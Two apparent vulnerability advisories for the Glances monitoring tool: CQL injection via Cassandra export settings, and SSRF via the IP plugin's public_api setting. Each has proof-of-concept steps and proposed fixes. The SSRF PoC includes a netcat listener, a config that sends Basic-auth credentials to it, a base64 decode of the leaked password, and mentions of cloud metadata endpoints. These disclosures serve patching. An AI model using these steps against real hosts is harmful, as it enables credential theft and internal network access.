Summary

The Cassandra export module (glances/exports/glancescassandra/init.py) interpolates keyspace, table, and replicationfactor configuration values directly into CQL statements without validation. A user with write access to glances.conf can redirect all monitoring data to an attacker-controlled Cassandra keyspace.

Vulnerable Code

python Line 80 f"CREATE KEYSPACE {self.keyspace} WITH " f"replication = {{ 'class': 'SimpleStrategy', 'replicationfactor': '{self.replicationfactor}' }}"

Line 94 f"CREATE TABLE {self.table} (plugin text, time timeuuid, stat map<text,float>, PRIMARY KEY (plugin, time)) WITH CLUSTERING ORDER BY (time DESC)"

Line 112 stmt = f"INSERT INTO {self.table} (plugin, time, stat) VALUES (?, ?, ?)"

Steps to Reproduce

1. Configure glances.conf with malicious table value: ini [cassandra] host = 127.0.0.1 port = 9042 keyspace = glances table = attackerks.capturedstats 2. Create attacker keyspace in Cassandra 3. Run glances --export cassandra 4. All monitoring data is written to attackerks.capturedstats instead of the legitimate table

Confirmed output: INSERT stmt: INSERT INTO attackerks.capturedstats (plugin, time, stat) VALUES (?, ?, ?) Legitimate table row count: 0 Attacker table row count: 1 [CONFIRMED] plugin=cpu, stat={'user': 50.0}

Impact

All exported monitoring data (CPU, memory, network, disk I/O) is silently redirected to an attacker-controlled Cassandra keyspace — both data exfiltration and data loss.

Proposed Fix

python import re

def validatecqlidentifier(name: str) -> str: if not re.match(r'^[a-zA-Z][a-zA-Z0-9.]$', name): raise ValueError(f"Invalid CQL identifier: {name!r}") return name

In init(): validate before use self.keyspace = validatecqlidentifier(self.keyspace) self.table = validatecqlidentifier(self.table)

!PoC

Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the publicapi configuration parameter. The value of publicapi is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.

An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when publicusername and publicpassword are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.

This vulnerability can be exploited to:

Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests

The issue arises because publicapi is passed directly to the HTTP client (urlopenauth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.

Details The vulnerability exists in the Glances IP plugin where the publicapi configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.

Root Cause In glances/plugins/ip/init.py, the publicapi parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:

self.publicapi = self.getconfvalue("publicapi", default=[None])[0]

self.publicipthread = ThreadPublicIpAddress( url=self.publicapi, username=self.publicusername, password=self.publicpassword, refreshinterval=self.publicaddressrefreshinterval, )

There is no validation performed on: - URL scheme (e.g., http, https, file) - Hostname or resolved IP address - Internal or restricted IP ranges - Unsafe HTTP Request Handling

The request is executed via urlopenauth() in glances/globals.py:

def urlopenauth(url, username, password, timeout=3): return urlopen( Request( url, headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )

This function: - Accepts any URL passed to it - Automatically attaches a Basic Authorization header - Does not enforce any restrictions on destination

PoC SSRF via publicapi (Glances IP Plugin) Prerequisites Glances installed Two terminals Step 1 Start listener (Terminal 1) nc -lvnp 9999

Step 2 Create malicious config (Terminal 2) mkdir -p ~/.config/glances

cat > ~/.config/glances/glances.conf << 'EOF' [ip] publicdisabled=False publicapi=http://127.0.0.1:9999/ssrf-poc publicusername=apiuser publicpassword=S3cr3tP@ss EOF

Step 3 Start Glances glances --webserver Step 4 Observe SSRF request (Terminal 1) GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x

Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz Step 5 Decode leaked credentials echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d

Output: apiuser:S3cr3tP@ss Step 6 Confirm data via API curl -s http://127.0.0.1:61208/api/4/ip { "address": "...", "mask": "255.255.255.0", "maskcidr": 24 }

Impact This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the publicapi configuration parameter.

Server-Side Request Forgery (SSRF): The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. Credential Leakage: When publicusername and publicpassword are configured, they are automatically sent in the Authorization: Basic header to any target defined in publicapi, exposing credentials to attacker-controlled servers. Internal Network Access: The vulnerability enables access to internal resources such as: 127.0.0.1 (localhost services) Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x) Cloud Metadata Exposure: The application can be directed to query cloud metadata endpoints such as: http://169.254.169.254/ potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments) Data Injection / Manipulation: Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.

NOTE Vulnerability Location

The issue originates from how the publicapi configuration value is handled and used without validation.

1. Source of user-controlled input

File: glances/plugins/ip/init.py (around lines ~64–82) self.publicapi = self.getconfvalue("publicapi", default=[None])[0] self.publicusername = self.getconfvalue("publicusername", default=[None])[0] self.publicpassword = self.getconfvalue("publicpassword", default=[None])[0] publicapi is fully user-controlled via configuration No validation is applied at this stage

2. Missing validation before usage self.publicdisabled = ( self.getconfvalue('publicdisabled', default='False')[0].lower() != 'false' or self.publicapi is None or self.publicfield is None ) Only checks if the value is None No validation of: - URL scheme - Hostname - IP address range

3. Vulnerable sink (critical point) self.publicipthread = ThreadPublicIpAddress( url=self.publicapi, # ← user-controlled input username=self.publicusername, password=self.publicpassword, refreshinterval=self.publicaddressrefreshinterval, ) The user-controlled publicapi is passed directly into a network request This is the SSRF entry point

4. Unsafe HTTP execution

File: glances/globals.py (around lines ~360+) def urlopenauth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )

- Accepts any URL - Sends request blindly - Automatically attaches credentials to any destination - Root Cause

A user-controlled configuration value (publicapi) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.

Recommendation The fix must be applied before the URL is used, specifically in the IP plugin (init.py).

1. Enforce scheme restrictions Allow only: http https Reject: file:// gopher:// ftp:// any non-HTTP protocol

This prevents protocol abuse and local file access

2. Validate destination host Resolve the hostname to an IP address Check the resolved IP against restricted ranges

Block if the IP is:

Loopback → 127.0.0.0/8 Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 Link-local → 169.254.0.0/16 (cloud metadata services)

This prevents:

Internal network probing AWS/GCP/Azure metadata access localhost abuse

3. Enforce validation before thread creation

The validation must occur before initializing:

ThreadPublicIpAddress(...) If validation fails: Disable the plugin Do not send any request

4. Trust boundary clarification urlopenauth() is a low-level utility It should not be responsible for validation

The caller (IP plugin) must ensure:

Only safe, external URLs are passed

Why This Fix Works Scheme validation blocks protocol-based attacks IP validation blocks internal and cloud targets Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)